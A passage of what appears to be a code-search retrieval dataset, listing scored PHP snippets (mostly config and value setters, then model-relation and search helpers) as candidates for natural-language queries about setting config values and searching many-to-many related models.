$vat_value ) {\n\t\t$this->vat_value = $vat_value;\n\t}", "title": "" }, { "docid": "33d44c6c1b76fa2e39273c37eb408857", "score": "0.4961544", "text": "public function vehicleConfiguration($value)\n {\n $this->setProperty('vehicleConfiguration', $value);\n return $this;\n }", "title": "" }, { "docid": "c9e019bb8692e8d9b833d372b801fed1", "score": "0.4960378", "text": "function setValue($v) {\n\t\t$this->value = $v;\n\t}", "title": "" }, { "docid": "c4f0f6797c1c278cd008c27fc07b7fcc", "score": "0.49518144", "text": "function setValue($v) {\n $this->value = $v;\n }", "title": "" }, { "docid": "139e3861477b842ecdae1359ab55c7c9", "score": "0.49305514", "text": "public function set(Config $config)\n {\n }", "title": "" }, { "docid": "b86dfb7fba6323e31e76ad27b48cb0a2", "score": "0.49068683", "text": "function setConfigValue($name, $value)\r\n {\r\n $cfg_item = $this->getConfigItem($name);\r\n \r\n if ($cfg_item)\r\n {\r\n $cfg_item->value = $value;\r\n $this->setConfigItem($cfg_item->name, $cfg_item->value, $cfg_item->transfer_type);\r\n }\r\n }", "title": "" }, { "docid": "e905e716f358a6bdb2ae09138644df6f", "score": "0.4895597", "text": "public function setConfig($config, $value = null)\n {\n $this->_config->setConfig($config, $value);\n }", "title": "" }, { "docid": "e8e9d541b5ef064819422dcc9934f72f", "score": "0.48554733", "text": "public function __set( $k, $v ) {\n if ( $v === \"\" ) {\n throw new InvalidArgumentException(\n \"You cannot set \\\"\".$k.\"\\\"to an empty string. \"\n .\"We interpret empty strings as NULL in requests. \"\n .\"You may set obj->\".$k.\" = NULL to delete the property\" );\n }\n\n if ( self::$_nestedUpdatableAttributes->includes( $k ) && isset( $this->$k ) && is_array( $v ) ) {\n $this->$k->replaceWith( $v );\n } else {\n // TODO: may want to clear from $_transientValues. (Won\"t be user-visible.)\n $this->_values[$k] = $v;\n }\n if ( !self::$_permanentAttributes->includes( $k ) )\n $this->_unsavedValues->add( $k );\n }", "title": "" }, { "docid": "688b11835f9ed82a6782e7938f508e6e", "score": "0.48508915", "text": "function setDefinedValue($name, $set = true) {\n if ($set) {\n // Setting part.\n if (!$this->getDefinedValue($name)) {\n $this->config_array[] = $name;\n $this->config = implode(',', $this->config_array);\n return;\n }\n } else {\n // Deleting part.\n if ($this->config_array) {\n foreach ($this->config_array as $key => $value) {\n if ($value === $name) {\n unset($this->config_array[$key]);\n $this->config = implode(',', $this->config_array);\n return;\n }\n }\n }\n }\n }", "title": "" }, { "docid": "82138c65381e64a23f3128e03916ffbe", "score": "0.48491222", "text": "public function setCAVV($value) {\n\t\t$this->CAVV = $value;\n\t}", "title": "" }, { "docid": "0374c266f8ce8f4db9b790e64181937a", "score": "0.48398823", "text": "public function deleteConfigValue($name);", "title": "" }, { "docid": "715c0c8156a8f8ced778796bfe6fecdf", "score": "0.48144016", "text": "public function testRemoveDefaultValue($value)\n {\n $method = new \\ReflectionMethod(sprintf('%s::%s', Configuration::class, 'removeDefaultValue'));\n $this->assertTrue($method->isPublic());\n\n $instance = new Configuration();\n $instance->setDefaultValue($value);\n\n $hasReflex = new \\ReflectionProperty(Configuration::class, 'hasDefault');\n $hasReflex->setAccessible(true);\n $defaultReflex = new \\ReflectionProperty(Configuration::class, 'defaultValue');\n $defaultReflex->setAccessible(true);\n\n $instance->removeDefaultValue();\n\n $this->getTestCase()->assertFalse($hasReflex->getValue($instance));\n $this->getTestCase()->assertNull($defaultReflex->getValue($instance));\n }", "title": "" }, { "docid": "b8a6480bc4e6ac8bfa38d1f17c0f5f5b", "score": "0.48008287", "text": "public function setValue($value) {\n $this->value = $value;\n\n unset($this->isValueUnset);\n }", "title": "" }, { "docid": "40fae6c275e81436d95fd46d0b7f9fa7", "score": "0.47976473", "text": "public function setConfig(ConfigContract $config);", "title": "" }, { "docid": "b3888ceef490399ef013e77fbce82fb4", "score": "0.47915798", "text": "public function setVE($value) {\n\t\t$this->VE = $value;\n\t}", "title": "" }, { "docid": "c91f6daec0432c112a2e24b8410d0d4e", "score": "0.4773506", "text": "public function setConfig($config)\n {\n $this->Config = $config instanceof ArrayOk ? $config : new ArrayOk($config);\n }", "title": "" }, { "docid": "a73ff43b1bacdc4f85b5d0ef236d7408", "score": "0.47584376", "text": "public function setConfig($config);", "title": "" }, { "docid": "a73ff43b1bacdc4f85b5d0ef236d7408", "score": "0.47584376", "text": "public function setConfig($config);", "title": "" }, { "docid": "dec828ca1512138a18f35c4ad9fb7289", "score": "0.47383636", "text": "public function setValue(&$value) {\r\n\t\t$this->cfg->set('value', $value);\r\n\t}", "title": "" }, { "docid": "4dcdf1766c611ade6ead61c350dc6750", "score": "0.47315064", "text": "function delete_config_value( $name ) {\n\tglobal $ftsdb, $mbp_config;\n\n\t$ftsdb->delete( DBTABLEPREFIX . 'config',\n\t\t\"name = :name\",\n\t\t[\n\t\t\t\":name\" => $name,\n\t\t]\n\t);\n\tunset( $mbp_config[ $name ] );\n}", "title": "" }, { "docid": "5efc504fde2ac299477e98e652905465", "score": "0.47073826", "text": "function setConfigValueElement($name, $index, $value)\r\n {\r\n $cfg_item = $this->getConfigItem($name);\r\n if ($cfg_item && is_array($cfg_item->value))\r\n {\r\n $cfg_item->value[$index] = $value;\r\n $this->setConfigItem($cfg_item->name, $cfg_item->value, $cfg_item->transfer_type);\r\n }\r\n }", "title": "" }, { "docid": "05f5e73bbcbf821207b5b751a41228b8", "score": "0.4704733", "text": "public function setVatID($value)\n {\n $this->vatID = $value;\n }", "title": "" }, { "docid": "868178d6326912e45f7523f7e312254b", "score": "0.47001427", "text": "protected function _setConfigValue($configPath, $value)\n {\n Bootstrap::getObjectManager()->get(MutableScopeConfigInterface::class)->setValue($configPath, $value);\n }", "title": "" }, { "docid": "d11f725deb6b4cec54272cfefac0ac17", "score": "0.4692387", "text": "function honeySetConfig($key, $value = null) {\n\t__honeyConfig('set', $key, $value);\n}", "title": "" }, { "docid": "cdde1b03141d5dbbf43758d5022f28d1", "score": "0.46718222", "text": "public static function set($key, $value = null)\n {\n /** @var \\Bootstrap\\Config\\Config $instance */\n $instance->set($key, $value);\n }", "title": "" }, { "docid": "ace25d108c1ba5144877e33e5d0d9bc1", "score": "0.4633726", "text": "public function setValue($value) \n {\n $this->value = $value;\n $this->_validated = false;\n $this->_errors = array();\n }", "title": "" }, { "docid": "d58ce472c813613d7e9c009dd818be63", "score": "0.46296704", "text": "public function setValue( $name, $value ) {\n\t\tif ( !array_key_exists( $name, $this->config ) ) {\n\t\t\tthrow new AppConfigException( sprintf( 'Unsupported config directive \"%s\" for %s', $name, get_class() ) );\n\t\t}\n\t\t$this->config[$name] = $value;\n\t}", "title": "" }, { "docid": "30c6778740fd99d75a4710e316fcfada", "score": "0.4626734", "text": "public function set($value) {}", "title": "" }, { "docid": "30c6778740fd99d75a4710e316fcfada", "score": "0.4626734", "text": "public function set($value) {}", "title": "" }, { "docid": "98d1df56e9fba0ed4e81e48f8a609f07", "score": "0.4618875", "text": "public function setConfig($key, $value);", "title": "" }, { "docid": "c8f32571de9784913e113ab7bfdcd2ed", "score": "0.45809734", "text": "public function set_value($value) {\n\t\t$this->value = $value;\n\t}", "title": "" }, { "docid": "a808f2fb51a738558d6e393ae9467148", "score": "0.45804298", "text": "public function setValue($value = null);", "title": "" }, { "docid": "bead42c2d7a4fa70b137d2d60f58c872", "score": "0.457551", "text": "public function updateConfigValue($name, $value);", "title": "" }, { "docid": "e55f20a1f8d6d36745981a89ead7fe81", "score": "0.45678657", "text": "public function forceValue($value)\n {\n $this->value = $value;\n }", "title": "" }, { "docid": "0a13da766fc61c1f5aa88b701c2513c6", "score": "0.45449728", "text": "public function setValue($value){\n //TODO: add type restriction checks\n $this->_value = $value;\n }", "title": "" }, { "docid": "8714b84f25bb203182418ea6f300d87a", "score": "0.45394534", "text": "public function __set($name, $value) {\n if(is_array($value)) {\n $config = new Config($value);\n $this->config[$name] = $config;\n return;\n }\n $this->config[$name] = $value;\n }", "title": "" }, { "docid": "0f2e99541433b7476ead9e2ca0a75eca", "score": "0.45375824", "text": "public function setValue($value){\n\t\treturn false;\n\t}", "title": "" }, { "docid": "24fa50e1caffb2a5e5454f17fc46af63", "score": "0.4530802", "text": "function setConfigName($vName) {\n\t\t\t## is there a weay to check if the path exists\n\t\t\t$this->config_var = $vName;\n\t\t}", "title": "" }, { "docid": "cd4be2c0b9c3494afa83231125ec0eb7", "score": "0.4528146", "text": "public function set($value);", "title": "" }, { "docid": "cd4be2c0b9c3494afa83231125ec0eb7", "score": "0.4528146", "text": "public function set($value);", "title": "" }, { "docid": "cd4be2c0b9c3494afa83231125ec0eb7", "score": "0.4528146", "text": "public function set($value);", "title": "" }, { "docid": "cd4be2c0b9c3494afa83231125ec0eb7", "score": "0.4528146", "text": "public function set($value);", "title": "" }, { "docid": "19695bf869a7a5f68dac42977946ea12", "score": "0.4506085", "text": "public function set($key, $value = null)\n {\n $this->inoplateConfig->set($key, $value);\n }", "title": "" }, { "docid": "93521d49c2b9fbebe8e793467f3cc6df", "score": "0.4503312", "text": "public function set($config, $value = NULL)\n {\n if($value !== NULL) {\n $this->_container[$config] = $value;\n return $this; \n }\n\n $this->_container = $config;\n \n return $this;\n }", "title": "" }, { "docid": "28aec0a19e85d1f93b6a4a2a97884b4f", "score": "0.4502815", "text": "public function __set($name, $value)\n {\n $cfg = $name === 'config'\n ? $value\n : array($name => $value);\n $this->debug->rootInstance->setCfg($cfg);\n }", "title": "" }, { "docid": "28aec0a19e85d1f93b6a4a2a97884b4f", "score": "0.4502815", "text": "public function __set($name, $value)\n {\n $cfg = $name === 'config'\n ? $value\n : array($name => $value);\n $this->debug->rootInstance->setCfg($cfg);\n }", "title": "" }, { "docid": "cb4eaa9bf6ae5691b1f9d6296ded4dc1", "score": "0.44989538", "text": "public function set_config($key, $value=NULL)\n {\n\tif ($this->enabled)\n\t{\n\t if ( ! empty($key))\n\t {\n\t\tif (is_array($key)) {\n\t\t $value = $key;\n\t\t} else {\n\t\t // Convert dot-noted key string to an array\n\t\t $keys = explode('.', rtrim($key, '.'));\n\t\t // This will set a value even if it didn't previously exist\n\t\t do {\n\t\t\t$key = array_pop($keys);\n\t\t\t$value = array($key => $value);\n\t\t } while ($keys);\n\t\t}\n\t\t$this->_config = Arr::merge($this->_config, $value);\n\t\t$this->setOptions($this->get_config('firephp', $this->getOptions()));\n\t\t$this->enabled = $this->get_enabled();\n\t }\n\t}\n\treturn $this;\n }", "title": "" }, { "docid": "d08bfb89390254aece43457f237f6b29", "score": "0.4485414", "text": "public function setConfig(Mobi_Mtld_DA_Device_Config $config = null) {\n if (!$config) {\n $this->config = new Mobi_Mtld_DA_Device_Config();\n $this->config->setUseTreeOptimizer(true);\n } else {\n $this->config = $config;\n }\n if ($this->tree) {\n $this->tree->setConfig($this->config);\n }\n }", "title": "" }, { "docid": "2f3314e319d0af0ac29079f5522abe89", "score": "0.44851035", "text": "public function setConfig($config)\r\n {\r\n $this->configuration = $config;\r\n }", "title": "" }, { "docid": "a13aac57e7458a99541d9d311eb0013b", "score": "0.44726497", "text": "public function healthPlanCopayOption($value)\n {\n $this->setProperty('healthPlanCopayOption', $value);\n return $this;\n }", "title": "" }, { "docid": "8f81009a7d0e88993b05b404318ae39b", "score": "0.44691327", "text": "public function setRestrictions(?AppManagementConfiguration $value): void {\n $this->getBackingStore()->set('restrictions', $value);\n }", "title": "" }, { "docid": "2d57ff1ad226fa4b1a43dfc92f5e9a77", "score": "0.4467974", "text": "function setValue ($value) {\r\n $this->_value = $value;\r\n }", "title": "" }, { "docid": "697ce052f0fbbb74652f4b7cbf3d0dd3", "score": "0.44651356", "text": "public function setValue($value){\n\t\t$this->value=$value;\n\t}", "title": "" }, { "docid": "0a6835742a6fceac53cf7b0ade309cf7", "score": "0.44611117", "text": "public function set($value): void {}", "title": "" }, { "docid": "e7b8a56042d187cd7afd23afcb0c88c4", "score": "0.4455779", "text": "public function setValue($value) {\n $this->value = $value;\n\t}", "title": "" }, { "docid": "e7b0a3652a53a3084a14d34da94c61ce", "score": "0.44545272", "text": "public static function set($path = NULL, $value) {\n if($path) {\n $path = explode('/', $path);\n if(isset($values)) {\n foreach ($path as $key) {\n if(count($path) > 1) {\n unset($path[0]);\n $GLOBALS['config'][$key] = self::set(implode('/', $path), $value);\n }\n else {\n $GLOBALS['config'][$key] = $value;\n }\n }\n }\n }\n else {\n return false;\n }\n }", "title": "" }, { "docid": "ed94ef331dcd2a0819b68ffa5aaf7a0e", "score": "0.44402066", "text": "public function setConfig(BookingConfig $config)\n {\n $this->config = $config;\n }", "title": "" }, { "docid": "02de9d18f397a2d6c1a55f5901203dab", "score": "0.44292945", "text": "public function set_value( $value ) {\n\t\t$this->value = $value;\n\t}", "title": "" }, { "docid": "a13a7f805f8e74e63114fda7ddb74500", "score": "0.4427783", "text": "public function setCfg($name, $value)\n\t{\n\t\tif(!array_key_exists($name, $this->allowedOptions()) && $name != 'condition')\n\t\t\treturn false;\n\t\telse\n\t\t\t$this->config[$name] = $value;\n\t}", "title": "" }, { "docid": "2420481b6d022fcb26403e388cebcca6", "score": "0.44268405", "text": "function setValue($value) {$this->_value = $value;}", "title": "" }, { "docid": "491e6e08dbe310b325093e9720593424", "score": "0.4426735", "text": "public function __set($name, $value)\n {\n switch ($name)\n {\n case 'excludeCategories':\n $this->excludeCategories = (array) $value;\n break;\n\n default:\n parent::__set($name, $value);\n }\n }", "title": "" }, { "docid": "5db78198a56fb5fa47dfc4e679aec1c2", "score": "0.44201052", "text": "public function set($path, $value) {\n // Is $value not null?\n if (isset($value)) { // YES: Use it\n $this->m_arProps[trim($path)] = $value;\n return $this;\n }\n // ELSE: Remove the $path\n return $this->remove($path);\n }", "title": "" }, { "docid": "1ef20f0ae53328890627fa2c0d5a1230", "score": "0.44173023", "text": "public function setValue($value);", "title": "" }, { "docid": "1ef20f0ae53328890627fa2c0d5a1230", "score": "0.44173023", "text": "public function setValue($value);", "title": "" }, { "docid": "1ef20f0ae53328890627fa2c0d5a1230", "score": "0.44173023", "text": "public function setValue($value);", "title": "" }, { "docid": "1ef20f0ae53328890627fa2c0d5a1230", "score": "0.44173023", "text": "public function setValue($value);", "title": "" }, { "docid": "1ef20f0ae53328890627fa2c0d5a1230", "score": "0.44173023", "text": "public function setValue($value);", "title": "" }, { "docid": "1ef20f0ae53328890627fa2c0d5a1230", "score": "0.44173023", "text": "public function setValue($value);", "title": "" }, { "docid": "1ef20f0ae53328890627fa2c0d5a1230", "score": "0.44173023", "text": "public function setValue($value);", "title": "" }, { "docid": "1ef20f0ae53328890627fa2c0d5a1230", "score": "0.44173023", "text": "public function setValue($value);", "title": "" }, { "docid": "1ef20f0ae53328890627fa2c0d5a1230", "score": "0.44173023", "text": "public function setValue($value);", "title": "" }, { "docid": "5f623772f210789083fccdef109e9bc9", "score": "0.4416307", "text": "public function set($option, $value = null){\n if($value === null) {\n $this->conf = array_merge($this->conf, $option);\n }\n else{\n $fields = explode('.', $option);\n $tmp = &$this->conf;\n foreach($fields as $field){\n $tmp = &$tmp[$field];\n }\n $tmp = $value;\n }\n }", "title": "" }, { "docid": "d819bb002d69ea8c9944da3ec84aee2a", "score": "0.44146296", "text": "public function testSetDefaultValue($value)\n {\n $instance = new Configuration();\n\n $hasReflex = new \\ReflectionProperty(Configuration::class, 'hasDefault');\n $hasReflex->setAccessible(true);\n $defaultReflex = new \\ReflectionProperty(Configuration::class, 'defaultValue');\n $defaultReflex->setAccessible(true);\n\n $this->getTestCase()->assertFalse($hasReflex->getValue($instance));\n $this->getTestCase()->assertSame($instance, $instance->setDefaultValue($value));\n $this->getTestCase()->assertTrue($hasReflex->getValue($instance));\n $this->getTestCase()->assertSame($value, $defaultReflex->getValue($instance));\n\n return $instance;\n }", "title": "" }, { "docid": "362ceae29971e525627b140e155ffaa3", "score": "0.44132283", "text": "public function setRemoteValue($value) {\n\t\t$this->remoteValue=$value;\n\t}", "title": "" }, { "docid": "add56bcff95db70f8620ed83c65fe68f", "score": "0.44114733", "text": "public function resetPartialSettingss($v = true)\n {\n $this->collSettingssPartial = $v;\n }", "title": "" }, { "docid": "a063eb7183931afa01730b8f9ac985ac", "score": "0.44077945", "text": "public function set(string $name, $value): ConfigInterface;", "title": "" }, { "docid": "ff2fe2d8ccb1e19ebe60c1dafc63a3f6", "score": "0.44010204", "text": "public function setDevolutionBaseAttribute($value)\n {\n $this->attributes['devolutionBase'] = (float) $value;\n }", "title": "" }, { "docid": "add2679033d744903cb909f24edfe983", "score": "0.43963504", "text": "public function emcSetConfig ($key, $value) {\r\n\t$this->ensureLoggedIn();\r\n\r\n\tif(!$key || !$value) {\r\n\t\tthrow new Exception('Invalid arguments');\r\n\t}\r\n\r\n\treturn $this->request(array('req' => 'emcsetconfig' , 'key' => $key, 'value' => $value));\r\n\t}", "title": "" }, { "docid": "a3650897a8db5541f2c8d5116319b760", "score": "0.4394801", "text": "public function __set($name, $value)\r\n {\r\n if ($this->_allowModifications) {\r\n if (is_array($value)) {\r\n $this->_data[$name] = $this->createBranch($value);\r\n } else {\r\n $this->_data[$name] = $value;\r\n }\r\n $this->_count = count($this->_data);\r\n } else {\r\n throw new Xi_Config_Exception('Xi_Config is read only');\r\n }\r\n }", "title": "" }, { "docid": "3e0067456c6165b0b3fe6799eca36555", "score": "0.43939525", "text": "public function setVhost($value,$options=array('required'=>true)){ \n $this->_data['vhost'] = new ZendT_Type_String($value,array('mask'=>''\n ,'charMask'=>''\n ,'filterDb'=>array (\n 0 => '',\n)\n ,'filter'=>array()));\n if ($options['db'])\n $this->_data['vhost']->setValueFromDb($value);\n \n if (!$options['db']){\n \n $valid = new Zend_Validate_StringLength(array ( 'max' => 50, ) );\n $valueValid = $this->_data['vhost']->getValueToDb();\n if ($valueValid && !$valid->isValid($valueValid)){\n throw new ZendT_Exception_Business(implode(\"\\n\",$valid->getMessages()));\n }\n \n }\n return $this;\n }", "title": "" }, { "docid": "d333965c6ee37d30b95949a2aea6955f", "score": "0.43926814", "text": "public function setValue($value) {\n\t\t$this->value=$value;\n\t}", "title": "" }, { "docid": "7ba12b5efe75d0d82984d502d41a1d35", "score": "0.43875858", "text": "public function setValue($value) {\n\t\t$this->value = $value;\n\t}", "title": "" }, { "docid": "7ba12b5efe75d0d82984d502d41a1d35", "score": "0.43875858", "text": "public function setValue($value) {\n\t\t$this->value = $value;\n\t}", "title": "" }, { "docid": "eb072e9486413d8a5883951e45cc32c1", "score": "0.43867436", "text": "public function setConfig($config) {\n\t\t$this->config = $config;\n\t}", "title": "" }, { "docid": "b797a24d5bb49158e351deef517b707e", "score": "0.43860817", "text": "public function set_value( $value ) {\n\t\t$this->data = $value;\n\t}", "title": "" }, { "docid": "a1ee3b41ec8d00ac94bb826ff7a864cc", "score": "0.43844387", "text": "public function setValue($value): void\n {\n $this->hasValue = true;\n $this->value = $this->cast($value);\n }", "title": "" }, { "docid": "597c8196a1abaa96356cadd1155fecd4", "score": "0.4380634", "text": "public function set($name, $value)\n {\n $value = serialize($value);\n\n $dbValue = $this->get($name);\n $query = $this->db2->dsql();\n if (is_null($dbValue)) {\n\n $query->table('configuration')\n ->set('name', $name)\n ->set('value', $value)\n ->insert();\n }\n else {\n $query->table('configuration')\n ->where('name', $name)\n ->set('value', $value)\n ->update();\n }\n }", "title": "" }, { "docid": "a2d15da2a85c40f72698601056bcb835", "score": "0.43784928", "text": "public static function SetConfig($config)\n {\n self::$_config = $config;\n }", "title": "" }, { "docid": "a640617a63e37f79f53a14721dc2a177", "score": "0.4378221", "text": "function setStaticConfigValueElement($name, $index, $value)\r\n {\r\n $cfg_item = SpawConfig::getStaticConfigItem($name);\r\n if ($cfg_item && is_array($cfg_item->value))\r\n {\r\n $cfg_item->value[$index] = $value;\r\n SpawConfig::setStaticConfigItem($cfg_item->name, $cfg_item->value, $cfg_item->transfer_type);\r\n }\r\n }", "title": "" }, { "docid": "569fe9285a3c2820405e1f802d46cde6", "score": "0.43698823", "text": "public static function set(Praxigento_Bonus_Config $instance) {\n self::cacheReset();\n self::$_instance = $instance;\n }", "title": "" }, { "docid": "8cdbef27098765b76dccff7ab968d1fb", "score": "0.43694973", "text": "function setStaticConfigValue($name, $value)\r\n {\r\n $cfg_item = SpawConfig::getStaticConfigItem($name);\r\n if ($cfg_item)\r\n {\r\n $cfg_item->value = $value;\r\n SpawConfig::setStaticConfigItem($cfg_item->name, $cfg_item->value, $cfg_item->transfer_type);\r\n }\r\n }", "title": "" }, { "docid": "ca3071724c0a4b6bcedea58a1fae1251", "score": "0.436069", "text": "public function setValue ($val) { $this->value = $val; }", "title": "" }, { "docid": "70fe1d646988809c99c6d11a83d52d9a", "score": "0.43501306", "text": "public function setVpnPeerCaching(?Enablement $value): void {\n $this->getBackingStore()->set('vpnPeerCaching', $value);\n }", "title": "" }, { "docid": "17f487ed80a687453c9e5da8f82708b2", "score": "0.43489674", "text": "function set_value($value) {\n $this->value = $value;\n }", "title": "" } ]
324668d3d1ec7a8ccaef7db5c25a4916
/ search helper method for seraching manytomany related model
[ { "docid": "9faa62b7928057229aa4dcb873f53f6b", "score": "0.0", "text": "public function getJokeIdsFromCategoryIds($params){\n if(!empty($params['JokeSearch']['category_ids'])){\n\n $category_ids=[];\n \n foreach($params['JokeSearch']['category_ids'] as $category_id){\n\n $category_ids[]=$category_id;\n }\n $subqueries= JokeCategory::find()\n ->select('joke_id')\n ->where(['in','category_id',$category_ids])\n ->all();\n $ids=[];\n foreach($subqueries as $subquery){\n $ids[]=$subquery->joke_id;\n }\n\n return $ids;\n\n }\n return;\n }", "title": "" } ]
[ { "docid": "713029012505f825ebfd1f7982049837", "score": "0.6482817", "text": "public function findMany();", "title": "" }, { "docid": "67f40a8ee6c811f7ccb138252e2302a6", "score": "0.623845", "text": "abstract function getRelated();", "title": "" }, { "docid": "3105b8a22566ebf07dfaf8f9d2fea492", "score": "0.61352205", "text": "public function getHasMany($model);", "title": "" }, { "docid": "e769bf613d3c6af6a23b3f5ba165b8f9", "score": "0.5793361", "text": "public function getSearchByExtra(): array;", "title": "" }, { "docid": "84b072457e233a82d18fe8be68ef19f6", "score": "0.5742956", "text": "private function manyToMany($array){\n\t\t$result = $this->parseRelation($array);\n\t\t$model = $result['model'];\n\t\t$table = $result['table'];\n\t\t$priKey = $result['priKey'];\n\t\t$forKey = $result['forKey'];\n\t\t$this->_db()->select($forKey)->from($table)->where($priKey,$this->id)->get();\n\t\t$results = $this->_db()->results();\n\t\t$entities = array();\n\t\tforeach ($results as $k => $v){\n\t\t\t$entities[] = new $model($v[$forKey]);\n\t\t}\n\t\treturn $entities;\n\t}", "title": "" }, { "docid": "7126ce554f94900460fa8e3790d0470a", "score": "0.5729829", "text": "public function findAll($model);", "title": "" }, { "docid": "dc1b2267c1677e80b59b3b049ccd241a", "score": "0.5727018", "text": "abstract public function findRelatedRecordsBySubject(): array;", "title": "" }, { "docid": "ebadaae54da3e422ebf90eadcc2ab995", "score": "0.5701128", "text": "abstract public function findRelatedRecordsByEmail(): array;", "title": "" }, { "docid": "493016be66ecdb4e0ded6b52563d0b5e", "score": "0.57001466", "text": "public function get_many()\n\t{\n\t\treturn $this->get_many_by();\n\t}", "title": "" }, { "docid": "37bdd2badd620faa9d709aed9b1fc3ec", "score": "0.56951654", "text": "public static function many_entities();", "title": "" }, { "docid": "e5c0cbd60dadd6980db8108248f5f3ea", "score": "0.5670565", "text": "public function hasMany($modelName , $forginKey=\"\" , $localKey=\"id\" ){\n if( empty($forginKey) ) {\n $tbl_name= $this->get_tbl_name();\n $forginKey=helper::remove_last_chr($tbl_name).'_id';\n }\n\n $currnt_result = $this->result ;\n\n\n if(is_array($currnt_result)){\n // 2multi dementionl array\n \n foreach ($currnt_result as $key => $el) {\n\n $my_id = $el[$localKey];\n\n $result = DB::table($modelName)->where($forginKey,$my_id)->get();\n \n $currnt_result[$key][$modelName]=$result;\n\n }\n\n // end if \n } else {\n // one diminssion arrray \n $my_id = $currnt_result[$localKey];\n\n $result = DB::table($modelName)->where($forginKey,$my_id)->get();\n \n $currnt_result[$key][$modelName]=$result;\n\n }\n\n\n $this->result = $currnt_result ;\n\n\n return $this;\n }", "title": "" }, { "docid": "a8a900f865c1852488d091ef47580b9c", "score": "0.5649529", "text": "public function getHasOneAndHasMany($model);", "title": "" }, { "docid": "feca73c43e6e9f5ce100777233c5a4c3", "score": "0.5641795", "text": "function getRelated($model, $method=null, $p=array())\n {\n $default = array('view' => null, \n 'filter' => null, \n 'order' => null, \n 'start' => null, \n 'nb' => null, \n 'count' => false);\n $p = array_merge($default, $p);\n if ('' == $this->_data['id']) {\n return new ArrayObject();\n }\n $m = new $model();\n if (!isset($this->_manytomany[$model])) {\n if (is_array($this->_methods_list[$method])) {\n $foreignkey = $this->_methods_list[$method][1];\n } else {\n $foreignkey = '';\n foreach ($m->_cols as $col => $val) {\n $field = new $val['type']();\n if ($field->type == 'foreignkey' \n && $val['model'] == $this->_model) {\n $foreignkey = $col;\n break;\n }\n }\n }\n if (strlen($foreignkey) == 0) {\n throw new Exception(sprintf(__('No matching foreign key found in model: %s for model %s'), $model, $this->_model));\n }\n if (!is_null($p['filter'])) {\n if (is_array($p['filter'])) {\n $p['filter'] = implode(' AND ', $p['filter']);\n }\n $p['filter'] .= ' AND ';\n } else {\n $p['filter'] = '';\n }\n $p['filter'] .= '`'.$foreignkey.'`=\\''.$this->_con->esc($this->_data['id']).'\\'';\n } else {\n // Many to many: We generate a special view that is making\n // the join\n $hay = array(strtolower(Pluf::factory($model)->_model), \n strtolower($this->_model));\n sort($hay);\n $table = $hay[0].'_'.$hay[1].'_assoc';\n if (isset($m->_views[$p['view']])) {\n $m->_views[$p['view'].'__manytomany__'] = $m->_views[$p['view']];\n if (!isset($m->_views[$p['view'].'__manytomany__']['join'])) {\n $m->_views[$p['view'].'__manytomany__']['join'] = '';\n }\n if (!isset($m->_views[$p['view'].'__manytomany__']['where'])) {\n $m->_views[$p['view'].'__manytomany__']['where'] = '';\n }\n } else {\n $m->_views['__manytomany__'] = array('join' => '',\n 'where' => '');\n $p['view'] = '';\n }\n $m->_views[$p['view'].'__manytomany__']['join'] .= \n ' LEFT JOIN `'.$this->_con->pfx.$table.'` ON '\n .' `'.strtolower($m->_model).'_id` = `'.$this->_con->pfx.$m->_table.'`.`id`';\n\n $m->_views[$p['view'].'__manytomany__']['where'] = '`'.strtolower($this->_model).'_id`='.$this->_data['id'];\n $p['view'] = $p['view'].'__manytomany__';\n }\n return $m->getList($p);\n }", "title": "" }, { "docid": "a81199f392a9a5d137b97c6cf8eda852", "score": "0.5627976", "text": "public function getAssociations(): array;", "title": "" }, { "docid": "fe3e30f78e76b82ecfbbef53c2d9312c", "score": "0.5620905", "text": "public function autocomplete_search() {\n\tif (!empty($this->request->query['term'])) {\n\t $model = Inflector::camelize(Inflector::singularize($this->request->params['controller']));\n\t $my_models = $this->$model->find('all', array(\n\t\t 'conditions' => array($model . '.name LIKE' => $this->request->query['term'] . '%'),\n\t\t 'limit' => 10,\n\t\t 'contain' => false,\n\t\t\t ));\n\t $json_array = array();\n\t foreach ($my_models as $my_model) {\n\t\t$json_array[] = $my_model[$model];\n\t }\n\t $json_str = json_encode($json_array);\n\t $this->autoRender = false;\n\t return $json_str;\n\t}\n }", "title": "" }, { "docid": "6d076a10bf7bbc489ac4e596ae28606f", "score": "0.5601774", "text": "public function relations();", "title": "" }, { "docid": "c5b045c6ecf443ed2188dc4be9f583ab", "score": "0.5594392", "text": "public function toSearchableArray()\n {\n return $this->only([\n 'id',\n 'slug',\n 'name',\n 'name_short',\n 'description'\n ]);\n }", "title": "" }, { "docid": "73a384b120b97d5da09d5a15430e8d6e", "score": "0.5561039", "text": "public function books() \n {\n return $this->belongsToMany(Book::class);\n //tells laravel to find genre.id inside book, and not a book id inside genre\n }", "title": "" }, { "docid": "58594f10e2a4b50b5d68e83290e8e4b9", "score": "0.55548555", "text": "private function hasMany($array){\n\t\t$result = $this->parseRelation($array);\n\t\t$model = $result['model'];\n\t\t$forKey = $result['forKey'];\n\t\t$table = $result['table'];\n\t\t$priKey = $result['priKey'];\n\t\t$this->_db()->select($priKey)->from($table)->where($forKey,$this->id)->get();\n\t\t$results = $this->_db()->results();\n\t\t$entities = array();\n\t\tforeach($results as $k => $v){\n\t\t\t$entities[] = new $model($v[$priKey]);\t\n\t\t}\n\t\treturn $entities;\n\t}", "title": "" }, { "docid": "bbeac760f92f8157c3491042d7c7d588", "score": "0.5536508", "text": "public function subList()\n {\n return $this->belongsToMany('Picinside\\Taxonomy','tax_relationship','tax_id','object_id');\n }", "title": "" }, { "docid": "4374f7f764e3665ad75321c1baef6cfe", "score": "0.5490069", "text": "public function getMany($args = null);", "title": "" }, { "docid": "ebb44eca808c8b6a61fff3df6b0f862c", "score": "0.5450876", "text": "abstract public function getFieldsSearchable(): array;", "title": "" }, { "docid": "5304dde1a4006488971609809146d1a5", "score": "0.5436061", "text": "public function getRelatedEntities($model){\n $allowedEntities = ['ClientAlias','Client','DraftLine','Invoice','Contract','InvoiceLines','InvoiceLine','Children','TaskList','Order'];\n $entity = $this->getEntity($model);\n\n //search in the Navigation property to find how is it connected with the other predefined entities\n $navigationProperties = $entity['NavigationProperty'];\n\n //the array with related entities;\n $relations = ['many'=>[],'one'=>[]];\n\n foreach($navigationProperties as $nav){\n if(in_array($nav['@attributes']['Name'],$allowedEntities)){\n //find the type of the relation\n //collection = many\n if (strpos($nav['@attributes']['Type'], 'Collection') !== false) {\n if($model==\"Contract\" && $nav['@attributes']['Name'] == \"InvoiceLines\"){\n $name = \"Invoice\";\n }elseif($model == 'Draft' && $nav['@attributes']['Name']=='DraftLine'){\n $name = 'Contract';\n } elseif($model == \"Invoice\" && $nav['@attributes']['Name'] == 